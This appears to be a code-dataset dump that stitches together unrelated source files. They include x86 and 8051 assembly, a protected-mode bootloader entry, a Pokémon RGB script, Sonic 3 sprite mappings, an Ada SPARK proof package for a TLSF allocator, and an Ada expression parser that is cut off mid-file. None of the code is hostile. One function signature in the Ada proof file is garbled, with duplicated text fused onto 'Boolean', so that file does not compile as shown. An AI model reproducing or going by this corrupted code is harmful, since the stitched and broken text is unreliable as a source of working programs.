; ; Get the value of destination string length. ; ; We need to know the current string length of the destination ; string, because later we have to find the memory address of the ; end string of the destination string. ; ; 003: dst_strlen = addr_dst_strlen^; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 4] ;ebx = addr_dst_strlen mov eax, [ebx] ;eax = addr_dst_strlen^ mov [esp + 16], eax ;dst_strlen = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Find current destination string block and its offset. ; ; Because we need to know at which memory block the end ; string is. For example, given dst_str is "HELLO WORLD", ; in memory it looks like this: ; ; block_byte_offset = 8 ; V ; +---+---+---+---+---+---+---+---+---+---+---+---+ ; | H | E | L | L | O | | W | O | R | L | D | | ; +---+---+---+---+---+---+---+---+---+---+---+---+ ; | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |10 |11 | ; +---+---+---+---+---+---+---+---+---+---+---+---+ ; |---------------|---------------|---------------| ; | mem block 0 | mem block 1 | mem block 2 | ; |---------------|---------------|---------------| ; ^ ; current_dst_block ; Diagram 2: destination string in memory ; ; From the diagram above, the current_dst_block will ; be 2, and the dst_ptr will point to address ; mem block 2. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Find current destination string memory block number. ; ; 004: current_dst_block = dst_strlen / 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = dst_strlen mov ebx, 4 ;ebx = 4, to divide the eax xor edx, edx ;prevent errors when division. div ebx ;eax = eax / ebx mov [esp + 20], eax ;current_dst_block = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Find the byte offset of the current destination string ; memory block. ; ; 005: block_byte_offset = current_dst_block * 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 20] ;eax = current_dst_block mov ebx, 4 xor edx, edx mul ebx ;eax *= ebx mov [esp + 24], eax ;block_byte_offset = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Find address of current destination string memory block, ; so that later we can fetch data from the destination ; string memory and store into a buffer. ; ; For example, given current_dst_block = 2, ; first we have to find the memory offset of the memory block 2, ; (however, we already calculate the offset from previous ; instructions): ; ; offset = current dst block * 4 bytes; ; ; After we have the memory offset, get the memory address ; of destination string block 0, and add with offset: ; ; address dst block 2 = address dst block 0 + offset; ; ; Then we have the address of the dst block 2. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Find address of current destination string memory block. ; ; 006: dst_ptr = addr_dst_str + block_byte_offset; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = addr_dst_str mov ebx, [esp + 24] ;ebx = block_byte_offset add eax, ebx mov [esp + 28], eax ;dst_ptr = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Fetch data from destination string and store to buffer. ; ; 007: dst_buffer = dst_ptr^; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 28] ;ebx = dst_ptr mov eax, [ebx] ;eax = dst_ptr^ mov [esp + 40], eax ;dst_buffer = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Find bit position of last character from the destination string ; ; In order to append the string, we have to know the bit ; position of the (last character + 1) in memory block of ; destination string. Lets say the current memory block in ; the destination string is at memory block 2, ; ; dst_buffer_bitpos = 24 ; V ; +---+---+---+---+---+---+---+---+---+---+---+---+ ; | H | E | L | L | O | | W | O | R | L | D |0x0| ; +---+---+---+---+---+---+---+---+---+---+---+---+ ; | 0 | 8 |16 |24 | 0 | 8 |16 |24 | 0 | 8 |16 |24 | ; +---+---+---+---+---+---+---+---+---+---+---+---+ ; |---------------|---------------|---------------| ; | mem block 0 | mem block 1 | mem block 2 | ; |---------------|---------------|---------------| ; ^ ; current_dst_block ; Diagram 3: destination string in memory ; ; From the above diagram, the value of dst_buffer_bitpos will ; be 24. Because, the end character of the string, which is 'D', ; is located at bit 16 in memory block 2. So, the new ; string will be append at byte position 24. The calculations ; will look like this: ; ; dst_buffer_bitpos = (dst_strlen - block_byte_offset) * 8 bits ; dst_buffer_bitpos = (11 - 8) * 8 ; dst_buffer_bitpos = 3 * 8 ; dst_buffer_bitpos = 24 ; ; This bit position will be the bit position of the dst buffer. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 008: dst_buffer_bitpos = (dst_strlen-block_byte_offset)*8; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = dst_strlen mov ebx, [esp + 24] ;ebx = block_byte_offset sub eax, ebx mov ebx, 8 xor edx, edx mul ebx ;eax *= ebx mov [esp + 44], eax ;dst_buffer_bitpos = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Initializes counter for .loop_1 ; ; Set the counter initial value to the value of source ; string length. This counter will be decremented until zero. ; This counter prevents overflow and underflow when appending ; the source string to the destination string. ; ; When counter equals zero means that we have completely ; append all characters from source string. ; ; 009: i = src_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 12] ;eax = src_strlen mov [esp + 48], eax ;i = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; .LOOP 1: Append the source string to the destination string ; ; .loop_1 will loop until i = 0. Means that it will loop ; until all source string has been appended to the destination ; string. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .loop_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Check if dst_buffer is full ; ; True = The destination string buffer is not yet full. ; Continue filling the buffer with the string until ; the destination string buffer is full. ; ; False = The destination string buffer is full. Save the buffer ; to the destination string, and then point the ; destination pointer to the next memory location. ; Also, reset the buffer and bit position of the ; destination buffer to zero. ; ; 010: if dst_buffer_bitpos != 32, then ; goto .endcond_1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 44] ;eax = dst_buffer_bitpos cmp eax, 32 jne .endcond_1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; .COND_1: If the destination string buffer is full ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .cond_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Save the buffer to the destination string. ; ; 011: dst_ptr^ = dst_buffer; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = dst_buffer mov ebx, [esp + 28] ;ebx = dst_ptr mov [ebx], eax ;dst_ptr^ = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Point the destination pointer to the next memory location. ; ; 012: dst_ptr += 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 28] ;eax = dst_ptr add eax, 4 ;eax = eax + 4 mov [esp + 28], eax ;dst_ptr = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Reset the destination string buffer to zero. ; ; 013: dst_buffer = 0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - xor eax, eax ;eax = 0 mov [esp + 40], eax ;dst_buffer = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Reset the destination string buffer bit position to zero. ; ; 014: dst_buffer_bitpos = 0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - xor eax, eax ;eax = 0 mov [esp + 44], eax ;dst_buffer_bitpos = eax .endcond_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Check if src_buffer is empty ; ; True = The source string buffer is not empty. Continue ; appending the source string into the destination ; string until the source string buffer is dry/empty. ; ; False = The source string buffer is empty. Fetch the data ; from next memory location of the source string, and ; fill the source string buffer with the new data. ; ; 015: if src_buffer != 0, then ; goto .endcond_2; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 36] ;eax = src_buffer cmp eax, 0 jne .endcond_2 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; .COND_2: If the source string buffer is empty ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .cond_2: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Point the source pointer to the next memory location. ; ; 016: src_ptr += 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = src_ptr add eax, 4 ;eax = eax + 4 mov [esp + 32], eax ;src_ptr = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Fetch the data from the next memory location. ; ; 017: src_buffer = src_ptr^; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 32] ;ebx = src_ptr mov eax, [ebx] ;eax = src_ptr^ mov [esp + 36], eax ;src_buffer = eax .endcond_2: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Append a source character to destination string ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Get source string character. ; ; 018: ascii_char = (src_buffer&0xff) << dst_buffer_bitpos; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ecx, [esp + 44] ;ecx = dst_buffer_bitpos mov eax, [esp + 36] ;eax = src_buffer and eax, 0xff shl eax, cl mov [esp + 52], eax ;ascii_char = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Append the source string character to the destination ; character. ; ; 019: dst_buffer |= ascii_char; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = dst_buffer mov ebx, [esp + 52] ;ebx = ascii_char or eax, ebx mov [esp + 40], eax ;dst_buffer = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Increment bit position of the destination string. ; ; 020: dst_buffer_bitpos += 8; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 44] ;eax = dst_buffer_bitpos add eax, 8 mov [esp + 44], eax ;dst_buffer_bitpos := eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Increase the length of destination string length by 1 byte. ; ; 021: ++ dst_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = dst_strlen add eax, 1 mov [esp + 16], eax ;dst_strlen = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Remove the source character that has been read. ; ; 022: src_buffer >>= 8; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 36] ;eax = src_buffer shr eax, 8 mov [esp + 36], eax ;src_buffer = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Decrement length of source string by 1 byte. ; ; 023: -- i; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = i sub eax, 1 mov [esp + 48], eax ;i = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Check loop_1 condition, loop if true ; ; 024: if i != 0, then ; goto .loop_1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = i cmp eax, 0 jne .loop_1 .endloop_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Save destination string and strlen to the argument out. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Save the destination string buffer to the destination ; string memory block. ; ; 025: dst_ptr^ = dst_buffer; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 28] ;ebx = dst_ptr mov eax, [esp + 40] ;eax = dst_buffer mov [ebx], eax ;dst_ptr^ = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Save the destination string length. ; ; 026: addr_dst_strlen^ = dst_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 4] ;ebx = addr_dst_strlen mov eax, [esp + 16] ;eax = dst_strlen mov [ebx], eax ;addr_dst_strlen^ = eax .return: .clean_stackframe: sub ebp, 8 ;-8 offset due to arguments mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp to initial value add esp, 4 ;restore 4 bytes ret ;#####################################################################
stage2/entry.asm
hello01-debug/BTAG
1
164093
<reponame>hello01-debug/BTAG<filename>stage2/entry.asm bits 16 global _start extern stage2 _start: pop dx cli xor ax, ax mov ds, ax mov es, ax mov ss, ax mov sp, 0x5000 jmp 0x0:real_start real_start: lgdt [gdt_descriptor] mov eax, cr0 or eax, 0x1 mov cr0, eax jmp CODE_SEG:pt_mode bits 32 pt_mode: mov ax, DATA_SEG mov ds, ax mov es, ax mov ss, ax call stage2 cli hlt gdt_start: ; don't remove the labels, they're needed to compute sizes and jumps ; the GDT starts with a null 8-byte dd 0x0 ; 4 byte dd 0x0 ; 4 byte ; GDT for code segment. base = 0x00000000, length = 0xfffff ; for flags, refer to os-dev.pdf document, page 36 gdt_code: dw 0xffff ; segment length, bits 0-15 dw 0x0 ; segment base, bits 0-15 db 0x0 ; segment base, bits 16-23 db 10011010b ; flags (8 bits) db 11001111b ; flags (4 bits) + segment length, bits 16-19 db 0x0 ; segment base, bits 24-31 ; GDT for data segment. base and length identical to code segment ; some flags changed, again, refer to os-dev.pdf gdt_data: dw 0xffff dw 0x0 db 0x0 db 10010010b db 11001111b db 0x0 gdt_end: ; GDT descriptor gdt_descriptor: dw gdt_end - gdt_start - 1 ; size (16 bit), always one less of its true size dd gdt_start ; address (32 bit) ; define some constants for later use CODE_SEG equ gdt_code - gdt_start DATA_SEG equ gdt_data - gdt_start
scripts/blueshouse.asm
etdv-thevoid/pokemon-rgb-enhanced
1
240026
<gh_stars>1-10 BluesHouseScript: call EnableAutoTextBoxDrawing ld hl, BluesHouseScriptPointers ld a, [wBluesHouseCurScript] jp CallFunctionInTable BluesHouseScriptPointers: dw BluesHouseScript0 dw BluesHouseScript1 BluesHouseScript0: SetEvent EVENT_ENTERED_BLUES_HOUSE ; trigger the next script ld a, 1 ld [wBluesHouseCurScript], a ret BluesHouseScript1: ret BluesHouseTextPointers: dw BluesHouseText1 dw BluesHouseText2 dw BluesHouseText3 BluesHouseText1: TX_ASM CheckEvent EVENT_GOT_TOWN_MAP jr nz, .GotMap CheckEvent EVENT_GOT_POKEDEX jr nz, .GiveMap ld hl, DaisyInitialText call PrintText jr .done .GiveMap ld hl, DaisyOfferMapText call PrintText lb bc, TOWN_MAP, 1 call GiveItem jr nc, .BagFull ld a, HS_TOWN_MAP ld [wMissableObjectIndex], a predef HideObject ; hide table map object ld hl, GotMapText call PrintText SetEvent EVENT_GOT_TOWN_MAP jr .done .GotMap ld hl, DaisyUseMapText call PrintText jr .done .BagFull ld hl, DaisyBagFullText call PrintText .done jp TextScriptEnd DaisyInitialText: TX_FAR _DaisyInitialText db "@" DaisyOfferMapText: TX_FAR _DaisyOfferMapText db "@" GotMapText: TX_FAR _GotMapText TX_SFX_KEY_ITEM db "@" DaisyBagFullText: TX_FAR _DaisyBagFullText db "@" DaisyUseMapText: TX_FAR _DaisyUseMapText db "@" BluesHouseText2: ; Daisy, walking around TX_FAR _BluesHouseText2 db "@" BluesHouseText3: ; map on table TX_FAR _BluesHouseText3 db "@"
Working Disassembly/Levels/LRZ/Misc Object Data/Map - Act 3 Death Egg Flash.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
5
81871
<reponame>TeamASM-Blur/Sonic-3-Blue-Balls-Edition Map_1877BC: dc.w word_1877C6-Map_1877BC dc.w word_1877D4-Map_1877BC dc.w word_1877E2-Map_1877BC dc.w word_1877FC-Map_1877BC dc.w word_187828-Map_1877BC word_1877C6: dc.w 2 dc.b $E4, 9, 0, 0, $FF, $F8 dc.b $C, 9, 0, 6, $FF, $F0 word_1877D4: dc.w 2 dc.b $E0, $E, 0, $C, $FF, $F8 dc.b 8, $E, 0, $18, $FF, $E8 word_1877E2: dc.w 4 dc.b $E0, $A, 0, $24, $FF, $E8 dc.b $E0, $F, 0, $2D, 0, 0 dc.b 8, $E, 0, $3D, $FF, $E0 dc.b 8, 6, 0, $49, 0, 0 word_1877FC: dc.w 7 dc.b $E0, 6, 0, $4F, $FF, $E4 dc.b $E0, $F, 0, $55, $FF, $F4 dc.b $E0, $B, 0, $65, 0, $14 dc.b 8, 5, 0, $71, $FF, $D4 dc.b 8, $E, 0, $75, $FF, $E4 dc.b 8, 0, 0, $21, 0, 4 dc.b $10, 9, 0, $81, 0, 4 word_187828: dc.w 9 dc.b $E0, 7, 0, $87, $FF, $DC dc.b $D8, $F, 0, $8F, $FF, $EC dc.b $E0, $F, 0, $9F, 0, $C dc.b 8, 1, 0, $AF, $FF, $D4 dc.b 0, 7, 0, $B1, $FF, $DC dc.b $F8, $F, 0, $B9, $FF, $EC dc.b $18, $D, 0, $C9, $FF, $EC dc.b 0, 8, 0, $D1, 0, $C dc.b 8, 7, 0, $D4, 0, $C
tlsf/src/old/tlsf-block-proof.adb
vasil-sd/ada-tlsf
3
10095
<reponame>vasil-sd/ada-tlsf<gh_stars>1-10 with Ada.Containers.Formal_Hashed_Maps; with Ada.Containers.Formal_Hashed_Sets; with TLSF.Block.Types; package body TLSF.Block.Proof with SPARK_Mode is package body Formal_Model is ------------------ -- Find_Address -- ------------------ function Find_Address (V : Va.Sequence; Addr : Address) return Count_Type is begin for I in 1 .. Va.Length (V) loop if Addr = Va.Get (V, I) then return I; end if; end loop; return 0; end Find_Address; end Formal_Model; function Block_Present_At_Address(Addr : Valid_Address) return Boolean is (Block_Map.Contains(Proof_State.Blocks, Addr)); function Block_At_Address (Addr : Valid_Address) return Block_Header is (Block_Map.Element(Proof_State.Blocks, Addr)); function Specific_Block_Present_At_Address (Addr : Valid_Address; Block : Block_Header) return Boolean is (Block_Present_At_Address(Addr) and then Block_At_Address(Addr) = Block); procedure Put_Block_At_Address (Addr : Valid_Address; Block : Block_Header) is use type Ada.Containers.Count_Type; Blocks : Block_Map.Map renames Proof_State.Blocks; begin -- NB: change Capacity accordingly, if needed pragma Assume(Block_Map.Length(Blocks) < Blocks.Capacity); Block_Map.Insert(Blocks, Addr, Block); end; procedure Remove_Block_At_Address (Addr : Valid_Address) is begin Block_Map.Delete(Proof_State.Blocks, Addr); end; -- Free Lists function Is_Block_In_Free_List_For_Size (Sz : Size; Addr : Valid_Address) return BooleanAll_Blocks_Are_Valid(M)All_Blocks_Are_Valid(M) is Indices : constant Level_Index := Calculate_Levels_Indices (Size_Bits(Sz)); Free_List : Set renames Proof_State.Free_Lists(Indices.First_Level, Indices.Second_Level); begin return Free_Blocks_Set.Contains (Free_List, Addr); end Is_Block_In_Free_List_For_Size; function Is_Block_Present_In_Free_Lists (Addr : Valid_Address) return Boolean is begin for FL_Idx in First_Level_Index'Range loop for SL_Idx in Second_Level_Index'Range loop if Free_Blocks_Set.Contains(Proof_State.Free_Lists(FL_Idx, SL_Idx), Addr) then return True; end if; end loop; end loop; return False; end Is_Block_Present_In_Free_Lists; function Is_Block_Present_In_Exactly_One_Free_List_For_Size (Sz : Size; Addr : Valid_Address) return Boolean is Indices : constant Level_Index := Calculate_Levels_Indices (Size_Bits(Sz)); Free_List : Set renames Proof_State.Free_Lists(Indices.First_Level, Indices.Second_Level); begin if not Free_Blocks_Set.Contains (Free_List, Addr) then return False; end if; for FL_Idx in First_Level_Index'Range loop for SL_Idx in Second_Level_Index'Range loop if FL_Idx /= Indices.First_Level or else SL_Idx /= Indices.Second_Level then if Free_Blocks_Set.Contains(Proof_State.Free_Lists(FL_Idx, SL_Idx), Addr) then return False; end if; end if; end loop; end loop; return True; end Is_Block_Present_In_Exactly_One_Free_List_For_Size; procedure Remove_Block_From_Free_List_For_Size (Sz : Size; Addr : Valid_Address) is Indices : constant Level_Index := Calculate_Levels_Indices (Size_Bits(Sz)); begin Free_Blocks_Set.Delete (Proof_State.Free_Lists(Indices.First_Level, Indices.Second_Level), Addr); end Remove_Block_From_Free_List_For_Size; procedure Put_Block_In_Free_List_For_Size (Sz : Size; Addr : Valid_Address) is use type Ada.Containers.Count_Type; Indices : constant Level_Index := Calculate_Levels_Indices (Size_Bits(Sz)); Free_List : Set renames Proof_State.Free_Lists(Indices.First_Level, Indices.Second_Level); begin -- NB: if needed then change Capacity acordingly pragma Assume (Free_Blocks_Set.Length(Free_List) < Free_List.Capacity); Free_Blocks_Set.Include(Free_List, Addr); end Put_Block_In_Free_List_For_Size; end TLSF.Block.Proof;
Practical Exam/P23.a51
pronoym99/Microcontrollers-and-Applications
1
243259
<filename>Practical Exam/P23.a51 org 0000h ;Assume clock frequency = 12MHz mov tmod,#1h ;T0 mode 1 repeat: setb p1.0 ;set pin acall delay1 ;call small delay routine clr p1.0 ;clear pin acall delay2 ;call large delay routine setb p1.0 ;set pin again acall delay3 sjmp repeat ;repeat indefinitely delay1:mov th0,#0fch ;delay routine for 1ms mov tl0,#18h sjmp sequence ;jump to timer stop sequence delay2:mov th0,#0ech ;delay routine for 5ms mov tl0,#78h sjmp sequence delay3:mov th0,#8ah ;delay routine for 30ms mov tl0,#0d0h sequence:setb tr0 ;start timer 0 wait:jnb tf0,wait ;wait till T0 stops counting clr tr0 ;clear flags which were clr tf0 ;modified in the process ret ;return to main program end
src/el-expressions-parser.adb
Letractively/ada-el
0
12428
----------------------------------------------------------------------- -- Parser -- Parser for Expression Language -- Copyright (C) 2009, 2010, 2011, 2012, 2013 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Characters.Conversions; with Util.Texts.Builders; with EL.Functions; package body EL.Expressions.Parser is use Ada.Characters.Conversions; use Ada.Strings.Unbounded; use EL.Expressions.Nodes; use EL.Functions; package Wide_Builder is new Util.Texts.Builders (Element_Type => Wide_Wide_Character, Input => Wide_Wide_String, Chunk_Size => 100); function To_Wide_Wide_String (Source : in Wide_Builder.Builder) return Wide_Wide_String renames Wide_Builder.To_Array; use Wide_Builder; type Token_Type is (T_EOL, T_LEFT_PARENT, T_RIGHT_PARENT, T_LT, T_LE, T_GT, T_GE, T_NE, T_EQ, T_EMPTY, T_NOT, T_OR, T_AND, T_LOGICAL_AND, T_MINUS, T_PLUS, T_MUL, T_DIV, T_MOD, T_DOT, T_QUESTION, T_COLON, T_COMMA, T_NUMBER, T_LITERAL, T_NAME, T_TRUE, T_FALSE, T_NULL, T_BRACE_END, T_UNKNOWN); type Parser is limited record Pos : Natural; Last : Natural; Token_Start : Natural; Token_End : Natural; Expr : access Wide_Wide_String; Value : Long_Long_Integer; Pending_Token : Token_Type := T_EOL; Mapper : Function_Mapper_Access; Token : Wide_Builder.Builder (100); end record; function Create_Node (Value : in Wide_Builder.Builder) return ELNode_Access; procedure Put_Back (P : in out Parser; Token : in Token_Type); -- Parse a literal or an expression procedure Parse_EL (P : in out Parser; Result : out ELNode_Access); procedure Parse_Choice (P : in out Parser; Result : out ELNode_Access); procedure Parse_Or (P : in out Parser; Result : out ELNode_Access); procedure Parse_And (P : in out Parser; Result : out ELNode_Access); procedure Parse_Equality (P : in out Parser; Result : out ELNode_Access); procedure Parse_Compare (P : in out Parser; Result : out ELNode_Access); procedure Parse_Math (P : in out Parser; Result : out ELNode_Access); procedure Parse_Multiply (P : in out Parser; Result : out ELNode_Access); procedure Parse_Unary (P : in out Parser; Result : out ELNode_Access); procedure Parse_Function (P : in out Parser; Namespace : in String; Name : in String; Result : out ELNode_Access); -- Parse the expression buffer to find the next token. procedure Peek (P : in out Parser; Token : out Token_Type); procedure Parse_Number (P : in out Parser; Result : out Long_Long_Integer); function Create_Node (Value : in Wide_Builder.Builder) return ELNode_Access is begin return Create_Node (To_Wide_Wide_String (Value)); end Create_Node; -- #{bean.name} -- #{12 + 23} -- #{bean.name + bean.name} -- #{bean.name == 2 ? 'test' : 'foo'} -- -- expr ::= expr ? expr : expr -- expr ::= expr <op> expr -- expr ::= <unary> expr -- expr ::= ( expr ) -- expr ::= expr ? expr : expr -- expr ::= name . name -- expr ::= name -- expr ::= <number> -- expr ::= <literal> -- literal ::= '...' | ".." -- number ::= [0-9]+ -- -- ------------------------------ -- Parse a literal or an expression -- ------------------------------ procedure Parse_EL (P : in out Parser; Result : out ELNode_Access) is Literal, Node : ELNode_Access; C : Wide_Wide_Character; begin while P.Pos <= P.Last loop C := P.Expr (P.Pos); if C = '\' then P.Pos := P.Pos + 1; exit when P.Pos > P.Last; C := P.Expr (P.Pos); Append (P.Token, C); P.Pos := P.Pos + 1; elsif C = '#' or C = '$' then P.Pos := P.Pos + 1; if P.Pos > P.Last then raise Invalid_Expression with "Missing '{' to start expression"; end if; C := P.Expr (P.Pos); if C /= '{' then raise Invalid_Expression with "Missing '{' to start expression"; end if; if Length (P.Token) > 0 then if Literal /= null then Literal := Create_Node (EL_CONCAT, Literal, Create_Node (P.Token)); else Literal := Create_Node (P.Token); end if; end if; P.Pos := P.Pos + 1; Parse_Choice (P, Node); if P.Pending_Token /= T_BRACE_END then raise Invalid_Expression with "Missing '}' to close expression"; end if; P.Pending_Token := T_EOL; Clear (P.Token); if Literal /= null then Literal := Create_Node (EL_CONCAT, Literal, Node); else Literal := Node; end if; Node := null; else Append (P.Token, C); P.Pos := P.Pos + 1; end if; end loop; if Length (P.Token) > 0 then Node := Create_Node (P.Token); if Literal /= null then Result := Create_Node (EL_CONCAT, Literal, Node); else Result := Node; end if; else Result := Literal; end if; Node := null; Literal := null; exception when others => Delete (Result); Delete (Literal); Delete (Node); raise; end Parse_EL; -- ------------------------------ -- Parse a choice expression, then Or. -- -- choice ::= expr '?' expr ':' choice -- -- Section 1.11: Conditional Operator - A ? B : C -- ------------------------------ procedure Parse_Choice (P : in out Parser; Result : out ELNode_Access) is Left, Right : ELNode_Access; Token : Token_Type; begin Parse_Or (P, Result); Peek (P, Token); if Token /= T_QUESTION then Put_Back (P, Token); return; end if; Parse_Or (P, Left); Peek (P, Token); if Token /= T_COLON then raise Invalid_Expression with "Missing :"; end if; Parse_Choice (P, Right); Result := Create_Node (Result, Left, Right); exception when others => Delete (Result); Delete (Left); Delete (Right); raise; end Parse_Choice; -- ------------------------------ -- Parse a logical 'or' expression, then 'and' -- -- or-expr ::= and-expr || and-expr -- -- Section 1.9.1 Binary operator -- ------------------------------ procedure Parse_Or (P : in out Parser; Result : out ELNode_Access) is Token : Token_Type; Right : ELNode_Access; begin Parse_And (P, Result); loop Peek (P, Token); exit when Token /= T_OR; Parse_And (P, Right); Result := Create_Node (EL_LOR, Result, Right); Right := null; end loop; Put_Back (P, Token); exception when others => Delete (Result); Delete (Right); raise; end Parse_Or; -- ------------------------------ -- Parse a logical 'and' expression, then 'equality' -- -- and-expr ::= equ-expr && equ-expr -- -- Section 1.9.1 Binary operator -- ------------------------------ procedure Parse_And (P : in out Parser; Result : out ELNode_Access) is Token : Token_Type; Right : ELNode_Access; begin Parse_Equality (P, Result); loop Peek (P, Token); exit when Token /= T_LOGICAL_AND; Parse_Equality (P, Right); Result := Create_Node (EL_LAND, Result, Right); Right := null; end loop; Put_Back (P, Token); exception when others => Delete (Result); Delete (Right); raise; end Parse_And; -- ------------------------------ -- Parse an equality '==' 'eq' '!=' 'ne expression, then 'compare' -- -- equ-expr ::= cmp-expr '==' cmp-expr -- equ-expr ::= cmp-expr '!=' cmp-expr -- -- Section 1.8.2 Relational Operators -- ------------------------------ procedure Parse_Equality (P : in out Parser; Result : out ELNode_Access) is Token : Token_Type; Right : ELNode_Access; begin Parse_Compare (P, Result); loop Peek (P, Token); exit when Token /= T_EQ and Token /= T_NE; Parse_Equality (P, Right); if Token = T_EQ then Result := Create_Node (EL_EQ, Result, Right); else Result := Create_Node (EL_NE, Result, Right); end if; Right := null; end loop; Put_Back (P, Token); exception when others => Delete (Result); Delete (Right); raise; end Parse_Equality; -- ------------------------------ -- Parse a comparison operation then Math -- expr ::= expr '<' expr -- expr ::= expr '<=' expr -- expr ::= expr '>' expr -- expr ::= expr '=' expr -- expr ::= expr '>=' expr -- -- Section 1.8.1 Relational Operators -- ------------------------------ procedure Parse_Compare (P : in out Parser; Result : out ELNode_Access) is Right : ELNode_Access; Token : Token_Type; begin Parse_Math (P, Result); loop Peek (P, Token); case Token is when T_LT => Parse_Math (P, Right); Result := Create_Node (EL_LT, Result, Right); when T_LE => Parse_Math (P, Right); Result := Create_Node (EL_LE, Result, Right); when T_GT => Parse_Math (P, Right); Result := Create_Node (EL_GT, Result, Right); when T_GE => Parse_Math (P, Right); Result := Create_Node (EL_GE, Result, Right); when others => exit; end case; Right := null; end loop; Put_Back (P, Token); exception when others => Delete (Result); Delete (Right); raise; end Parse_Compare; -- ------------------------------ -- Parse a math expression '+' or '-' then Multiply 